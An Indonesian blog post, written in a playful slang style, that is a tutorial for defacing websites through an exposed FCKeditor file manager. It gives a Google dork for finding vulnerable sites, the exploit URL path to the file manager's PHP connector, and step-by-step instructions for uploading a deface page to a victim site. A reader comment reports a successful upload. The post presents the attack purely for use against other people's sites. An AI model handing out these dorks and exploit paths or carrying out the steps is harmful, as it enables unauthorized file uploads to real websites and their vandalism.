Hae kimak!1!1 Balik lagi dengan mimin yang tamvan!1!1!1 Kali ini mimin akan share tutor deface poc Fckeditor. Langsung saja mak!1!1!1
1. Bahan-bahan :
- Internet
 - Hp/PC
 - Script deface
 
2. Dork :
- inurl:advert_detail.php?id=
 
3. Exploit :
- /admin/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php
 
4. Langkah-langkah :
- Pertama, kyta dorking dulu mak!1!1!1!1
 - Kedua, pilih salah satu web.
 - Ketiga, masukan exploitya dibelakang site.
 
Contoh :
- Https://nimogans.tq/
 
Lalu kyta masukan exploitnya, menjadi :
- Https://nimogans.tq/admin/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php
 
Kalo vuln maka akan seperti ini (cek gambar dibawah).
- Keempat, upload sadja scriptnya :V
 
contoh:
Https://nimogas.tq/files/nimo.html
- Dan taraaaaa!1!1!1 Kalian dah bisa :* unchhh
 
5. Live target :
Note : Untuk live target masukan dulu exploitya!1!1
Sekian dulu mak!1!1 Kalo ada yang mau ditanyakan comment sadja :* 
mmmppppssshhhhhh
udh ada tulisan "file uploaded with no error" kok mau liat hasilnya ngga jadi gan
ReplyDelete